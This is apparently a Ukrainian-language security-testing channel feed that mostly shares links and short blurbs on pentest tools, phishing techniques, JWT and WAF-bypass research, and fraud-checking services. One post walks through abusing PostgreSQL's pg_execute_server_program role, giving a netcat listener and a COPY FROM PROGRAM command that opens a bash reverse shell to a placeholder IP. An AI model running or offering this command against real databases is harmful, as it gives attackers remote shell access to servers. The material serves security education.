🇺🇦 Security QA

Так як курсу не буде, бо група не зібралась, то закидую хоча б літературу OWASP Top 10 for LLM Applications, тут зібрані всі критичні точки які ви маєте переглянути в запроваджені безпечного використання LLM.

https://owasp.org/www-project-top-10-for-large-language-model-applications/assets/PDF/OWASP-Top-10-for-LLMs-v2025.pdf

Headerpwn

Фазер для аналізу реакції серверів на різні заголовки HTTP.

Цей інструмент зроблений для пошуку аномалій та аналізу того, як сервери реагують на різні HTTP-заголовки.

Він може надати цінну інформацію про потенційні ризики безпеки та неправильну конфігурацію.

Може інтегруватись з Burp Suite для єдиного інтерфейсу в проведені пентесту.

Запуск командою

headerpwn -url https://example.com -headers my_headers.txt


https://github.com/devanshbatham/headerpwn

А в що ви вдягнені нижче пояса на зустрічах онлайн або ж не вдянені ?

Які новинки в CHATGPT вийшли вчора

У Паші вже 29 відосів про тестування безпеки в веб застосунках, там можете знайти багато цікавих порад як шукати різноманітні вразливості.

https://www.youtube.com/watch?v=xwnMANGzQNc&list=PLxYN9UPEuN1Hx7wEUlmw7o9ej7BQwmnUw

Найпоширеніші техніки фішингу
Фішинг у рамках red teaming передбачає імітацію реалістичних атак, які використовують людські вразливості для несанкціонованого доступу до систем або конфіденційної інформації. Ці методи можуть включати цілеспрямований фішинг (spear-phishing), коли надсилаються електронні листи конкретним особам з метою змусити їх натиснути на шкідливі посилання або розкрити облікові дані, або “whaling” — фішинг, спрямований на високопоставлених осіб, як-от керівників. Атакувальники також можуть використовувати голосовий фішинг (vishing) або фішинг через SMS (smishing), щоб виманити в жертв інформацію. Учасники red team створюють переконливі сценарії, щоб перевірити здатність організації виявляти та реагувати на ці техніки соціальної інженерії.

https://svyat.tech/top-phishing-techniques

Якщо ви працюєте з PostgreSQL, можете спробувати себе частково в ролі Red Team.
Для цього вам потрібен користувач із правами pg_execute_server_program.
І так, підключаємось до бази:

psql -h hostname/ip -p 6543 -U username -d database 

Перевірямо наявність у поточного користувача потрібних прав або наявність таких користувачів у базі:

SELECT rolname
FROM pg_roles
WHERE pg_has_role(rolname, 'pg_execute_server_program', 'member');

або

SELECT has_role(current_user, 'pg_execute_server_program', 'member');

Якщо ваш користувач присутній у списку - можна переходити до наступного етапу.
Піднімаємо listener (слухача) на хості, що знаходиться в тій самій мережі, що і база даних, або на іншому, якщо дозволяє мережеве оточення:

nc -lvnp 4444

Далі запускаємо команду у PostgreSQL:

COPY poc_output FROM PROGRAM 'bash -c "bash -i >& /dev/tcp/YOUR-IP/4444 0>&1"';

Якщо налаштування прав користувачів у PostgreSQL не обмежують використання COPY FROM PROGRAM або загалом права занадто широкі - ви отримаєте reverse shell від імені того користувача, під яким працює служба PostgreSQL.

Цікавий ресурс аналізу безпеки вашого JWT. Можна не лише розпарсити як то у jwt.io але і зразу проаналізувати.
Звісно, що даний ресурс не всі методи перевірки покриває, але в частині використанням алгоритмів і деяких інших притаманних JWT особливостей місця підсвічує.
https://jwtlens.netlify.app/

Huggingface

Цей інструмент в декілька кліків і в ріал таймі замінює емоції людини на фото.

Досить гнучкі та точечні налаштування. Все поділено на три категорії:
- голова,
- очі
- та рот.

До кожної категорії свої регулятори, наприклад (брови, моргання, посмішка, поворот/нахил голови тощо).

https://huggingface.co/spaces/fffiloni/expression-editor

Script kiddie

Короткий огляд інструментів для взлому та як базово можна їх використовувати при тестуванні на безпеку. А головне - українською мовою.

https://www.youtube.com/playlist?list=PLQ-w8CQDSqFBsH_fm34QmFv-iWY0e2AWQ

Обхід WAF із використанням фантомного файлу cookie $Version

HTTP‑кукі часто контролюють надважливі функції вебсайтів, але завдяки їхній довгій та заплутаній історії, парсери кукій мають уразливості.

Перша частина
https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie

Друга частина
https://portswigger.net/research/stealing-httponly-cookies-with-the-cookie-sandwich-technique

Cервіси для перевірки шахраїв.

Prom check - перевірка приналежності сайта до платформи prom.ua, щоб не потрапити на фішерів. Вказуйте лінк на сайт.

Privatbank Check, Сheck.gov - для перевірки справжності квитанцій про оплату. Перший для Приватбанку, другий для Моно, А-банк тощо. Вказуємо номер квитанції.

ЄДЕБО - державний реєстр для перевірки справжності документів про освіту. Вводите серію та номер диплому і отримуєте інформацію про його дійсність чи ні. Працює зі всіма документами, виданими після 2000-ного року.

Перевірка недійсних документів від ДМСУ - перевіряйте, чи не викраденим паспортом користується особа при укладенні договору тощо.

Wanted MVS - відкриті бази розшуку від МВС. Перевіряйте, чи не внесений телефон або транспортний засіб, який ви маєте бажання придбати до бази викрадених або втрачених.

Перевірка свого ІПН - перевіряйте справжність індивідуального податкового номеру (РНОКПП). Якщо номер дійсний, сервіс показує дані про дату народження і стать.

Судова влада - перевіряйте, чи має особа судові провадження, в тому числі штрафи, цивільні та кримінальні справи. Також можете перевіряти адвокатів, яких результатів у судах вони добивалися для своїх клієнтів.

Реєстр виконавчих проваджень - перевіряйте, чи присутні у особи будь-які борги (відкриті виконавчі провадження).

Whois - надає інформацію про сайт. Перевіряйте, чи не фішинговим є сайт, за яким ви перейшли.

X-ray contact - перевірка за номером телефону. Знаходить пов'язані номери, перевіряє Getcontact та соціальні мережі.

YouControl, OpenDatabot - автоматизована перевірка бізнесу, ФОП, транспортних засобів за ДНЗ та VIN-кодом.

«Хтось має виростати у мідлів, а шлях туди стає складнішим». Як штучний інтелект змінює роботу початківців у QA

Щоб з’ясувати, як ШІ впливає на роботу початківців в ІТ, DOU запускає нову рубрику — «ШІ vs Джуніори». У першому випуску досліджуємо QA-напрям.

Чи конкурує ШІ з джуніорами в QA? Як розвиток штучного інтелекту впливає на пошук початківців у компанії? З якими завданнями джунів він точно не впорається? Джуніор + ШІ — чи погано це для компанії? Щоб відповісти на ці запитання, ми поспілкувалися з досвідченими QA-фахівцями.

Серед них:

Олександр Хотемський, Engeneering manager та QA practice lead в Doxyme;
Олексій Остапов, AQA Engineer в nCube;
Олег Грудко, QA manager в Omilia Conversational Solutions;
Свят Логин, Head of Engineering Excellence & Quality в EVO;
Геннадій Міщевський, колишній Lead SDET у FutureLog.

https://dou.ua/lenta/articles/how-ai-changes-qa-junior-work/

Nettacker

Це платформа автоматизованого тестування на проникнення - сканер уразливостей з відкритим вихідним кодом - управління вразливістю.

Виявляє сервіси та пристрої (SCADA, зони обмеженого доступу, маршрутизатори, HTTP-сервери, логіни та автентифікації, неіндексований HTTP, системи Paradox, камери, брандмауери, UTM, веб-пошти, VPN, RDP, SSH, FTP, сервіси TELNET, проксі-сервери та багато інших пристроїв, таких як Juniper, Cisco, комутатори та багато іншого)

https://github.com/OWASP/Nettacker

Cloudmare — це простий інструмент для пошуку серверів, захищених Cloudflare, Sucuri або Incapsula, з неправильно налаштованим DNS.

Просто підключити Cloudflare до вашого сайта цього не достатньо, треба ще ретельно доналаштувати його, щоб не було ось такого як на скріні. Вже перевірив деякі сайти де розміщений захист і знайшов багато цікавих сабдоменів і їх реальні IP, треба доналаштовувати.

https://github.com/mrh0wl/Cloudmare

ми почали

https://youtube.com/live/F4T33ODZ_as?feature=share

А ви пробували хакнути ChatGPT? Хлопець до успіху майже дойшов....

Перші нароботки машини часу з моніторів, щоб повернути час назад...

VAmPI — це вразливий API, створений за допомогою Flask, який містить уразливості з топ-10 вразливостей OWASP для API. Він був створений, оскільки мені потрібен був вразливий API для оцінки ефективності інструментів, що використовуються для виявлення проблем безпеки в API. Він містить перемикач, який дозволяє вмикати/вимикати API як вразливий під час тестування. Це дозволяє краще охопити випадки хибнопозитивних/негативних результатів.

Особливості
На основі 10 головних вразливостей OWASP для API.
Специфікації OpenAPI3 та колекція Postman включені.
Глобальне ввімкнення/вимкнення, щоб мати чи ні вразливе середовище.
Аутентифікація на основі токенів (налаштування терміну дії з app.py)
Доступний інтерфейс Swagger для безпосередньої взаємодії з API

https://github.com/erev0s/VAmPI

HACK JWT, підвищуємо привілегії до адміна, CSRF, Python, BurpSuite, PortSwigger Лаба 22(JWT).

У цій лабораторній ми спарсимо #CSRF token, використаємо JWT attack non algorithm для взлому #JWT токена з метою підвищення привілеїв до рівня #admin та видалимо користувача, хоч така опція для нашого облікового запису не передбачена. Попрацюємо з Python та #Base64, щоб редагувати значення токена.

https://www.youtube.com/watch?v=tn-tLfImB3Y